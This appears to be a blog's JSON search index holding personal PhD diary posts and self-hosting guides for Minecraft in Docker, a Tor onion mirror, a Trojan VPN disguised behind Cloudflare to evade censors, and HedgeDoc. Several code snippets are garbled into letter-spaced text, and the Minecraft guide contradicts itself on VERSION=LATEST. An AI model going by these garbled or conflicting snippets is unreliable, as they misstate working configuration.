so called \u0026ldquo;not dates\u0026rdquo; we had a conversation about \u0026ldquo;her\u0026rdquo;, and she was dumping her emotional baggage on me, just like what happened this last time that confused me.\n","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/relationships/","summary":"\u003cblockquote\u003e\n\u003cp\u003eNotice: You\u0026rsquo;ll hear me ranting in this post, so buckle up, or just go to another fun post. I am very vulnerable right now and want to put out my story without naming anyone.\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003eSo\u0026hellip; do you also think you\u0026rsquo;re a lover boy, kind, nice person?\nSo do I!\nI think I\u0026rsquo;m actually really good at making friends with people.\nLike you know, you start introducing yourself, asking them some fun personal questions about hobbies or other stuff, and then you eventually start talking about other things.\u003c/p\u003e","title":"Relationships"},{"content":"I started the month by finalizing my draft for Conext Student workshop. Let\u0026rsquo;s cross our fingers and hope things work out and that it gets accepted. Notification should arrive on 25th, and I\u0026rsquo;d have until 30th to do the camera ready stuff which should be plenty of time.\nI did a vacation from 6th until 15th for a total of 10 days by taking 6 days off. I visited my parents after 13 months(!), and also my brother after more than two years. We had so much fun! I did a bunch of sight-seeing in Istanbul, tried out yummy foods and sweets, many different fishes, and snorkled in Antalya. What a delightful trip it was. I do have to get used to this as this is the sole way I will most probably see my parents from now on, unless they want to travel to somewhere else or visit me here. Now that my brother also has his greencard, we can travel together and see eachother more often too!\nSurprise surprize, the notification did not come and it\u0026rsquo;s the last day of the month. Ever since I came back from vacation I tried to catch up with everything, did my ML re-exam, and setup all different cool things I talked about in my blog. I\u0026rsquo;ve been waiting for the notification to get started with the camera-ready process to make sure I have enough time to study for my next and last exam on 7th of October\u0026hellip; Drat!\nI will probably do more literature review this last day of the month, and start working on the code base from next month. I should do a lot more literature review to be caught up with whatever that\u0026rsquo;s been done so far.\nMy social life has been much more exciting too. I\u0026rsquo;ve been socializing a lot more and have made many new friends. Some other exciting things have also been hapening that I don\u0026rsquo;t have the courage to write about now. ;) Buuuuuut\u0026hellip; I will probably write about them at some point if things go the way I hope theuy would. Just remember Wed 24th of September 2025 and Sunday 28th of same month and year. :)\nAnd with that, that\u0026rsquo;s my September in a nutshell. I will probably start writing through the month and then turn the draft into a post from now on. That way it would look like a story!\n","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/september_2025/","summary":"\u003cp\u003eI started the month by finalizing my draft for Conext Student workshop.\nLet\u0026rsquo;s cross our fingers and hope things work out and that it gets accepted.\nNotification should arrive on 25th, and I\u0026rsquo;d have until 30th to do the camera ready stuff which should be plenty of time.\u003c/p\u003e\n\u003cp\u003eI did a vacation from 6th until 15th for a total of 10 days by taking 6 days off.\nI visited my parents after 13 months(!), and also my brother after more than two years.\nWe had so much fun!\nI did a bunch of sight-seeing in Istanbul, tried out yummy foods and sweets, many different fishes, and snorkled in Antalya.\nWhat a delightful trip it was.\nI do have to get used to this as this is the sole way I will most probably see my parents from now on, unless they want to travel to somewhere else or visit me here.\nNow that my brother also has his greencard, we can travel together and see eachother more often too!\u003c/p\u003e","title":"September '25"},{"content":"Why I’ve been running a Java Minecraft world (with Bedrock players via Geyser) in tmux. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:\nfailed to register layer: ... no space left on device Client saying: “Outdated client, please use 1.21.9 Pre-Release 2” Wanting config in a neat .env and no whitelist Here’s exactly what I did.\nFolder layout ~/minecraft/ ├─ docker-compose.yml ├─ .env └─ plugins/ .env (secrets \u0026amp; knobs) Use the latest stable (not snapshots/pre-releases) by setting VERSION=LATEST.\n# Minecraft server configuration EULA=TRUE TYPE=PAPER VERSION=LATEST MEMORY=4G USE_AIKAR_FLAGS=true # RCON (remote console) ENABLE_RCON=true RCON_PASSWORD=superSecretPassword123 I don’t use a whitelist, so no WHITELIST/ENFORCE_WHITELIST variables.\ndocker-compose.yml services: mc: image: itzg/minecraft-server:latest container_name: mc restart: unless-stopped ports: - \u0026#34;25565:25565\u0026#34; # Java - \u0026#34;19132:19132/udp\u0026#34; # Bedrock via Geyser plugin env_file: - .env volumes: - mc-data:/data - ./plugins:/plugins:ro volumes: mc-data: {} The version: key in Compose is obsolete now, so I dropped it.\nAdd Geyser (and optional Floodgate) as plugins mkdir -p ~/minecraft/plugins cd ~/minecraft/plugins # Geyser (Spigot/Paper) wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot -O Geyser-Spigot.jar # Floodgate (optional: Bedrock accounts without Java linking) wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot -O Floodgate-Spigot.jar Start it up:\ndocker compose up -d On first run, Geyser writes its config to /data/plugins/Geyser-Spigot/. Open UDP 19132 on your firewall.\nHit a wall: /var ran out of space Docker stores layers at /var/lib/docker by default. My /var LV was tiny:\n/ d e v / m a p p e r / u b u n t u - - v g - v a r 3 . 9 G 3 . 4 G 3 3 3 M 9 2 % v a r Quick cleanup docker system df docker system prune -f docker builder prune -af sudo apt-get clean sudo journalctl --vacuum-size=100M If that’s not enough, you have two good options:\nOption A — Move Docker’s data off /var sudo systemctl stop docker sudo mkdir -p /home/docker sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/ echo \u0026#39;{ \u0026#34;data-root\u0026#34;: \u0026#34;/home/docker\u0026#34; }\u0026#39; | sudo tee /etc/docker/daemon.json sudo systemctl start docker docker info | grep \u0026#34;Docker Root Dir\u0026#34; If all looks good, free the old space:\nsudo rm -rf /var/lib/docker/* Option B — Grow /var (LVM) Check free space in the VG:\nsudo vgdisplay # look for \u0026#34;Free PE / Size\u0026#34; If available, extend /var by +5G:\nsudo lvextend -L +5G /dev/mapper/ubuntu--vg-var sudo resize2fs /dev/mapper/ubuntu--vg-var The version mismatch: pre-release vs stable My logs showed:\nS t a r t i n g m i n e c r a f t s e r v e r v e r s i o n 1 . 2 1 . 9 P r e - R e l e a s e 2 That happens if the server pulls a pre-release build (or if VERSION=LATEST). Fix:\nEnsure .env has: VERSION=LATEST_RELEASE Recreate: docker compose down docker compose pull docker compose up -d Verify: docker logs mc | grep \u0026#34;Starting minecraft server version\u0026#34; # -\u0026gt; Starting minecraft server version 1.21.1 (example) Tip: If you want to pin and avoid auto-updates entirely, set VERSION=1.21.1 (or whatever stable you’ve validated).\nNo whitelist Because I don’t set WHITELIST/ENFORCE_WHITELIST, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:\ndocker exec -it mc rcon-cli \u0026#34;op YourJavaIGN\u0026#34; (or edit /data/ops.json).\nBackup \u0026amp; updates World/data live under the mc-data volume → back up /data regularly. Update cleanly: docker compose pull \u0026amp;\u0026amp; docker compose up -d Watch space: watch -n5 \u0026#39;df -h /var; docker system df\u0026#39; TL;DR Put Geyser/Floodgate jars in ./plugins and expose 19132/udp. Keep configs in .env. Fix /var space by pruning, moving Docker’s data-root, or extending /var via LVM. Verify version in logs after each change. Happy block-breaking! 🧱🚀\n","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/","summary":"How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.","title":"Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases"},{"content":" TL;DR — The site is built once (Hugo project), published twice:\nOnion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301. Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror. 1) Tor hidden service (onion) basics I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301.\nInstall \u0026amp; configure Tor (Debian/Ubuntu):\nsudo apt update \u0026amp;\u0026amp; sudo apt install -y tor sudoedit /etc/tor/torrc Add:\nH H i i d d d d e e n n S S e e r r v v i i c c e e D P i o r r t v 8 a 0 r / 1 l 2 i 7 b . 0 t . o 0 r . 1 h : i 3 d 3 d 0 e 1 n _ s i t e / Make sure the directory is owned by Tor’s user and private:\nsudo mkdir -p /var/lib/tor/hidden_site sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site sudo chmod 700 /var/lib/tor/hidden_site Important: use the right systemd unit:\n# validate as the Tor user sudo -u debian-tor tor -f /etc/tor/torrc --verify-config # (re)start the real service sudo systemctl enable --now tor@default sudo systemctl restart tor@default Get the onion address:\nsudo cat /var/lib/tor/hidden_site/hostname Quick check (do remote DNS via SOCKS):\ncurl -I --socks5-hostname 127.0.0.1:9050 \u0026#34;http://$(sudo cat /var/lib/tor/hidden_site/hostname)\u0026#34; 2) Nginx for the onion (localhost-only) I keep the onion site strictly on localhost: no HTTPS, no redirects, no HSTS. Tor already provides e2e encryption and authenticity.\n/etc/nginx/sites-available/onion-blog:\nserver { listen 127.0.0.1:3301 default_server; server_name \u0026lt;your-56-char\u0026gt;.onion 127.0.0.1 localhost; # keep onion simple; no HSTS/redirects here add_header Referrer-Policy no-referrer always; add_header X-Content-Type-Options nosniff always; add_header X-Frame-Options SAMEORIGIN always; # (optional) strict CSP so nothing leaks to clearnet # add_header Content-Security-Policy \u0026#34;default-src \u0026#39;self\u0026#39;; img-src \u0026#39;self\u0026#39; data:; style-src \u0026#39;self\u0026#39; \u0026#39;unsafe-inline\u0026#39;; script-src \u0026#39;self\u0026#39;\u0026#34; always; root /srv/hugo/mysite/public-onion; index index.html; location / { try_files $uri $uri/ /index.html; } location ~* \\.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ { access_log off; add_header Cache-Control \u0026#34;public, max-age=31536000, immutable\u0026#34;; try_files $uri =404; } } Enable/reload:\nsudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog sudo nginx -t \u0026amp;\u0026amp; sudo systemctl reload nginx Gotcha I hit: I had two server blocks on 127.0.0.1:3301, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it default_server). Also, if you ever use a regex in server_name, the syntax is server_name ~* \\.onion$ (note the space after ~*).\n3) Hugo + PaperMod setup (and version bumps) PaperMod now requires Hugo Extended ≥ 0.146.0. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read /srv paths by default).\n# install Hugo extended (example) VER=0.146.0 cd /tmp wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz sudo mv hugo /usr/local/bin/hugo hugo version # should say \u0026#34;extended\u0026#34; and \u0026gt;= 0.146.0 Create the site and theme:\nsudo mkdir -p /srv/hugo \u0026amp;\u0026amp; sudo chown -R \u0026#34;$USER\u0026#34;:\u0026#34;$USER\u0026#34; /srv/hugo cd /srv/hugo hugo new site mysite cd mysite git init git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod Config updates: in newer Hugo, paginate is deprecated → use:\n# config/_default/hugo.toml title = \u0026#34;My Blog\u0026#34; theme = \u0026#34;PaperMod\u0026#34; enableRobotsTXT = true [pagination] pagerSize = 10 [params] defaultTheme = \u0026#34;auto\u0026#34; showReadingTime = true showPostNavLinks = true showBreadCrumbs = true showCodeCopyButtons = true I added per-environment overrides so I can build two outputs with different baseURLs:\n# config/clearnet/hugo.toml baseURL = \u0026#34;https://blog.alipourimjourneys.ir/\u0026#34; # config/onion/hugo.toml baseURL = \u0026#34;http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/\u0026#34; 4) Dual builds (clearnet + onion) and one-command deploy I publish the same content twice—once for each base URL and docroot:\ncd /srv/hugo/mysite # clearnet build (served over HTTPS) hugo --minify --environment clearnet -d public-clearnet # onion build (served via Tor) hugo --minify --environment onion -d public-onion sudo systemctl reload nginx Helper script I use:\nsudo tee /usr/local/bin/build-both \u0026gt;/dev/null \u0026lt;\u0026lt;\u0026#39;EOF\u0026#39; #!/usr/bin/env bash set -euo pipefail cd /srv/hugo/mysite hugo --minify --environment clearnet -d public-clearnet hugo --minify --environment onion -d public-onion sudo systemctl reload nginx echo \u0026#34;Deployed both at $(date)\u0026#34; EOF sudo chmod +x /usr/local/bin/build-both While editing, I sometimes auto-rebuild on file save:\nsudo apt install -y entr cd /srv/hugo/mysite find content layouts assets static config -type f | entr -r build-both 5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01) Cloudflare is set to Full (strict). I issued a public cert for blog.alipourimjourneys.ir using manual DNS-01 (no API token):\nsudo snap install --classic certbot sudo certbot certonly --manual --preferred-challenges dns -d blog.alipourimjourneys.ir --agree-tos -m you@example.com --no-eff-email Certbot tells you to add a TXT record _acme-challenge.blog.alipourimjourneys.ir. Add it in Cloudflare DNS, verify with dig, then continue. Cert ends up at:\n/ / e e t t c c / / l l e e t t s s e e n n c c r r y y p p t t / / l l i i v v e e / / b b l l o o g g . . a a l l i i p p o o u u r r i i m m j j o o u u r r n n e e y y s s . . i i r r / / f p u r l i l v c k h e a y i . n p . e p m e m Clearnet Nginx vhosts:\n# HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway) server { listen 80; listen [::]:80; server_name blog.alipourimjourneys.ir; return 301 https://blog.alipourimjourneys.ir$request_uri; } # HTTPS origin (behind Cloudflare) server { listen 443 ssl http2; listen [::]:443 ssl http2; server_name blog.alipourimjourneys.ir; ssl_certificate /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem; # HSTS on clearnet only add_header Strict-Transport-Security \u0026#34;max-age=31536000; includeSubDomains; preload\u0026#34; always; # Help Tor Browser discover the onion mirror (safe on clearnet) add_header Onion-Location \u0026#34;http://\u0026lt;your-56-char\u0026gt;.onion$request_uri\u0026#34; always; root /srv/hugo/mysite/public-clearnet; index index.html; location / { try_files $uri $uri/ /index.html; } } Note: don’t add HSTS or HTTPS redirects to the onion vhost. Keep onion pure HTTP on localhost.\n6) Troubleshooting I ran into (and fixes) Tor unit confusion: tor.service is a tiny master; the real daemon is tor@default. Use that unit and verify config as debian-tor. Permissions: HiddenServiceDir must be owned by debian-tor and mode 700. Mapping mismatch: If HiddenServicePort 80 127.0.0.1:3301 is set, visit http://\u0026lt;onion\u0026gt;/ (no :3301). If you set HiddenServicePort 3301 127.0.0.1:3301, you must use http://\u0026lt;onion\u0026gt;:3301/. Curl \u0026amp; .onion: modern curl refuses .onion unless you use remote DNS via SOCKS: curl -I --socks5-hostname 127.0.0.1:9050 \u0026#34;http://\u0026lt;onion\u0026gt;/\u0026#34; Two Nginx vhosts on the same port: I had a duplicate server on 127.0.0.1:3301 pointing somewhere else, which caused onion 404s. Keep only one (or mark one default_server). Regex in server_name: if you use it, write server_name ~* \\.onion$ (space after ~*). I fixed an invalid variable name error caused by a missing space. PaperMod with old Hugo: upgraded to extended ≥ 0.146.0. Also updated paginate → [pagination].pagerSize. Snap confinement: Snap’s hugo couldn’t read /srv (.../void: permission denied). Switched to the tarball build in /usr/local/bin. 7) “Not secure” in Tor Browser? That message can appear because onion uses HTTP. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference clearnet resources (scan the built HTML for http(s):// links that aren’t your onion).\n8) Day-to-day workflow Create content: hugo new posts/my-first-post.md # then set draft: false Publish both: build-both (Optional) Auto on save: find content layouts assets static config -type f | entr -r build-both (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs build-both. Final notes Clearnet gets HTTPS + HSTS and an Onion-Location header. Onion gets no HSTS/redirects, and all assets are self-hosted to avoid mixed content. Serving both worlds from one Hugo repo is easy: two builds, two vhosts, one workflow. ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/","summary":"\u003cblockquote\u003e\n\u003cp\u003eTL;DR — The site is built once (Hugo project), \u003cstrong\u003epublished twice\u003c/strong\u003e:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eOnion\u003c/strong\u003e: \u003ccode\u003ehttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/\u003c/code\u003e via Tor, no TLS/HSTS, bound to \u003ccode\u003e127.0.0.1:3301\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eClearnet\u003c/strong\u003e: \u003ccode\u003ehttps://blog.alipourimjourneys.ir\u003c/code\u003e behind Cloudflare, Let’s Encrypt cert, \u003ccode\u003eOnion-Location\u003c/code\u003e header pointing to the onion mirror.\u003c/li\u003e\n\u003c/ul\u003e\u003c/blockquote\u003e\n\u003chr\u003e\n\u003ch2 id=\"1-tor-hidden-service-onion-basics\"\u003e1) Tor hidden service (onion) basics\u003c/h2\u003e\n\u003cp\u003eI used Tor’s v3 onion services and mapped onion port 80 → my local web server on \u003ccode\u003e127.0.0.1:3301\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eInstall \u0026amp; configure Tor (Debian/Ubuntu):\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo apt update \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e sudo apt install -y tor\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudoedit /etc/tor/torrc\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eAdd:\u003c/p\u003e","title":"Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod"},{"content":"Introduction So you want a VPN that doesn\u0026rsquo;t scream \u0026ldquo;I am a VPN\u0026rdquo; to every censor and firewall out there?\nWelcome to the world of Trojan over WebSocket + TLS behind Cloudflare.\nThis guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me).\nWe’ll anonymise domains and secrets, so substitute with your own:\nVPN domain: web.example.com Panel domain: panel.example.com Secret WS path: /stealth-path_abcd1234 Password: \u0026lt;PASSWORD\u0026gt; Architecture at a Glance Think of it as a disguise party:\nTrojan = the shy guest (your VPN protocol) Nginx = the bouncer checking IDs (reverse proxy) Cloudflare = the doorman who makes sure nobody sees who\u0026rsquo;s inside (CDN \u0026amp; proxy) Your fake website = the mask (camouflage page) Traffic flow:\nC l i e n t → C l o u d f l a r e ( 4 4 3 ) → N g i n x ( 4 4 3 ) → T r o j a n ( l o c a l h o s t : 5 4 3 2 1 ) Step 1: Panel Setup (panel.example.com) Bind the 3x-ui panel to localhost (e.g., 127.0.0.1:46309). Choose a funky web base path like /panel-bananas_42/. Proxy it through Nginx with HTTPS + Basic Auth. Test it at https://panel.example.com/panel-bananas_42/. Pro tip: If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!\nStep 2: Trojan Inbound In 3x-ui, create a Trojan inbound:\nLocal port: 54321 Transport: WebSocket Path: /stealth-path_abcd1234 Security: none Password: \u0026lt;PASSWORD\u0026gt; Step 3: Nginx for VPN Domain (web.example.com) Your Nginx is the gatekeeper. Sample config:\nserver { listen 443 ssl http2; server_name web.example.com; ssl_certificate /etc/letsencrypt/live/web.example.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem; # Fake website at root location / { root /var/www/html; index index.html; } # Real VPN under secret WS path location /stealth-path_abcd1234 { proxy_pass http://127.0.0.1:54321; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection \u0026#34;upgrade\u0026#34;; proxy_set_header Host $host; } } Step 4: Firewall Rules Lock things down! Only Cloudflare should reach you:\nufw allow 22/tcp ufw allow 80/tcp ufw allow 443/tcp ufw deny 54321/tcp Step 5: Client Config Trojan URI:\nt r o j a n : / / \u0026lt; P A S S W O R D \u0026gt; @ w e b . e x a m p l e . c o m : 4 4 3 ? t y p e = w s \u0026amp; s e c u r i t y = t l s \u0026amp; h o s t = w e b . e x a m p l e . c o m \u0026amp; p a t h = % 2 F s t e a l t h - p a t h _ a b c d 1 2 3 4 \u0026amp; s n i = w e b . e x a m p l e . c o m # M y S t e a l t h V P N iOS clients: Shadowrocket, Stash, FoXray\nAndroid clients: v2rayNG, Clash Meta, NekoBox\nDebugging Time (a.k.a. “Why the heck doesn’t it work?!”) Symptom: 520 Unknown Error (Cloudflare) Likely cause: Nginx couldn’t talk to Trojan. Check Nginx error log: tail -n 50 /var/log/nginx/error.log If you see upstream sent no valid HTTP/1.0 header → you’re mixing HTTPS/HTTP between Nginx and Trojan. Symptom: 526 Invalid SSL certificate Cloudflare → Nginx cert mismatch. Run: openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts Make sure CN = web.example.com. If not, fix your cert. Symptom: Blank page on panel Check if the base path matches exactly (case-sensitive, slash-sensitive). Watch for sneaky trailing spaces! Test locally: curl -s -D- http://127.0.0.1:46309/panel-bananas_42/ Symptom: Client won’t connect Run a WebSocket test: curl -i -k -H \u0026#34;Connection: Upgrade\u0026#34; -H \u0026#34;Upgrade: websocket\u0026#34; https://web.example.com/stealth-path_abcd1234 Expect 101 Switching Protocols. If not, check Nginx config. Symptom: Censor still blocks you Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?\n→ They’ll find your origin IP. Use a second VPS or lock those ports down. Did you use an obvious path like /ws?\n→ Use a random-looking one like /cdn-assets-329df/. Pro Tips \u0026amp; Fun Tricks Serve a fake blog or portfolio at root so your domain looks legit. Rotate WebSocket paths occasionally. Use Cloudflare Page Rules to disable Rocket Loader \u0026amp; Minify for your VPN domain. Make friends with your Nginx error.log — it will roast you but it tells the truth. Conclusion By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:\nLooks like normal HTTPS. Hides your origin IP. Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass. Congrats — you’ve built a VPN with both style and stealth. 🥷\n","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/","summary":"\u003ch2 id=\"introduction\"\u003eIntroduction\u003c/h2\u003e\n\u003cp\u003eSo you want a VPN that \u003cstrong\u003edoesn\u0026rsquo;t scream \u0026ldquo;I am a VPN\u0026rdquo;\u003c/strong\u003e to every censor and firewall out there?\u003cbr\u003e\nWelcome to the world of \u003cstrong\u003eTrojan over WebSocket + TLS behind Cloudflare\u003c/strong\u003e.\u003c/p\u003e\n\u003cp\u003eThis guide not only shows you how to set it up but also sprinkles in some \u003cstrong\u003edebugging magic\u003c/strong\u003e so you can figure out why things break (and they \u003cem\u003ewill\u003c/em\u003e break, trust me).\u003c/p\u003e\n\u003cp\u003eWe’ll anonymise domains and secrets, so substitute with your own:\u003c/p\u003e","title":"Stealth Trojan VPN Behind Cloudflare Guide"},{"content":"This month started with me setting up a deadline for Conext student workshop. I wanted to submit something not only to get the chance to attend a nice conference, but to create a network, meet researchers, and to get a chance to present my work and get feedback on it. I also worked on my code-base, finally making everything work by replacing Jool with clatd for performing CxLAT. This darn thing wasted so much of my time! I did learn a bit along the way, but oh well. Such is life!\nOverall not the most productive month, but one reason for it is that I have\u0026rsquo;t really had a real vacation in a long time. I will be taking a 10 day vacation next month just to reset, and gain back my power. I cross my fingers for the month ahead!\nMy social life has been becoming better too. I\u0026rsquo;ve been trying to attend more ZiS events to meet people, make new connections, and to have fun! My depression is a serious issue. I also have anxiety disorder that I\u0026rsquo;m talking with my therapist about. I will most likely start taking SSRIs once again. Idiot me was cutting it when the catasrophe in February happened and did not think twice to keep taking them. I\u0026rsquo;m really glad I was able to recover, though it was not easy at all, it did work out.\nI do think there is bright nice future ahead of me; I just need to keep on trucking and not worry too much. Things will workout!\n","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/augest_2025/","summary":"\u003cp\u003eThis month started with me setting up a deadline for Conext student workshop.\nI wanted to submit something not only to get the chance to attend a nice conference, but to create a network, meet researchers, and to get a chance to present my work and get feedback on it.\nI also worked on my code-base, finally making everything work by replacing Jool with clatd for performing CxLAT.\nThis darn thing wasted so much of my time!\nI did learn a bit along the way, but oh well.\nSuch is life!\u003c/p\u003e","title":"Augest '25"},{"content":"HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.\nPrerequisites A Linux server with Docker and Docker Compose A domain name pointing to your server (e.g. notes.alipourimjourneys.ir) Nginx installed for reverse proxying Certbot for Let’s Encrypt certificates 1. Create the project directory mkdir ~/hedgedoc \u0026amp;\u0026amp; cd ~/hedgedoc 2. Create .env POSTGRES_PASSWORD=ChangeThisStrongPassword HD_DOMAIN=notes.alipourimjourneys.ir Generate a strong password with:\nopenssl rand -base64 32 3. Create docker-compose.yml version: \u0026#34;3.9\u0026#34; services: db: image: postgres:16 environment: POSTGRES_USER: hedgedoc POSTGRES_PASSWORD: ${POSTGRES_PASSWORD} POSTGRES_DB: hedgedoc volumes: - db:/var/lib/postgresql/data restart: unless-stopped hedgedoc: image: quay.io/hedgedoc/hedgedoc:1.10.2 depends_on: - db environment: CMD_DB_URL: postgres://hedgedoc:${POSTGRES_PASSWORD}@db:5432/hedgedoc CMD_DOMAIN: ${HD_DOMAIN} CMD_PROTOCOL_USESSL: \u0026#34;true\u0026#34; CMD_URL_ADDPORT: \u0026#34;false\u0026#34; CMD_PORT: \u0026#34;3000\u0026#34; CMD_EMAIL: \u0026#34;true\u0026#34; CMD_ALLOW_EMAIL_REGISTER: \u0026#34;false\u0026#34; volumes: - uploads:/hedgedoc/public/uploads ports: - \u0026#34;127.0.0.1:3000:3000\u0026#34; restart: unless-stopped volumes: db: uploads: Bring it up:\ndocker compose up -d 4. Get a Let’s Encrypt certificate Request a cert with a DNS challenge:\nsudo certbot certonly --manual --preferred-challenges dns -d notes.alipourimjourneys.ir -m you@example.com --agree-tos --no-eff-email Add the TXT record certbot asks for, wait for DNS to propagate, then continue.\nCertificates will be in:\n/etc/letsencrypt/live/notes.alipourimjourneys.ir/ 5. Configure Nginx Create /etc/nginx/sites-available/notes.alipourimjourneys.ir:\nserver { server_name notes.alipourimjourneys.ir; listen 80; listen [::]:80; return 301 https://$host$request_uri; } server { server_name notes.alipourimjourneys.ir; listen 443 ssl http2; listen [::]:443 ssl http2; ssl_certificate /etc/letsencrypt/live/notes.alipourimjourneys.ir/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/notes.alipourimjourneys.ir/privkey.pem; location / { proxy_pass http://127.0.0.1:3000; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto https; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection \u0026#34;upgrade\u0026#34;; } } Enable the config and reload Nginx:\nsudo ln -s /etc/nginx/sites-available/notes.alipourimjourneys.ir /etc/nginx/sites-enabled/ sudo nginx -t \u0026amp;\u0026amp; sudo systemctl reload nginx 6. Create users Because we disabled self-registration, create accounts manually:\ndocker compose exec hedgedoc ./bin/manage_users --add alice@example.com You’ll be prompted for a password.\nTo reset a password later:\ndocker compose exec hedgedoc ./bin/manage_users --reset alice@example.com 7. Done! Visit https://notes.alipourimjourneys.ir and log in with the user you created. You now have your own collaborative Markdown editor 🎉\nExtras:\nBackups: dump the PostgreSQL database and save the uploads volume. Upgrades: docker pull quay.io/hedgedoc/hedgedoc:latest \u0026amp;\u0026amp; docker compose up -d. Integrations: HedgeDoc supports S3/MinIO image storage, GitHub/GitLab/Google login, and more. ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hedge_doc/","summary":"\u003cp\u003eHedgeDoc is an open-source collaborative Markdown editor. Think \u003cem\u003eGoogle Docs for Markdown\u003c/em\u003e: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"prerequisites\"\u003ePrerequisites\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eA Linux server with \u003cstrong\u003eDocker\u003c/strong\u003e and \u003cstrong\u003eDocker Compose\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003eA domain name pointing to your server (e.g. \u003ccode\u003enotes.alipourimjourneys.ir\u003c/code\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eNginx\u003c/strong\u003e installed for reverse proxying\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCertbot\u003c/strong\u003e for Let’s Encrypt certificates\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"1-create-the-project-directory\"\u003e1. Create the project directory\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emkdir ~/hedgedoc \u003cspan 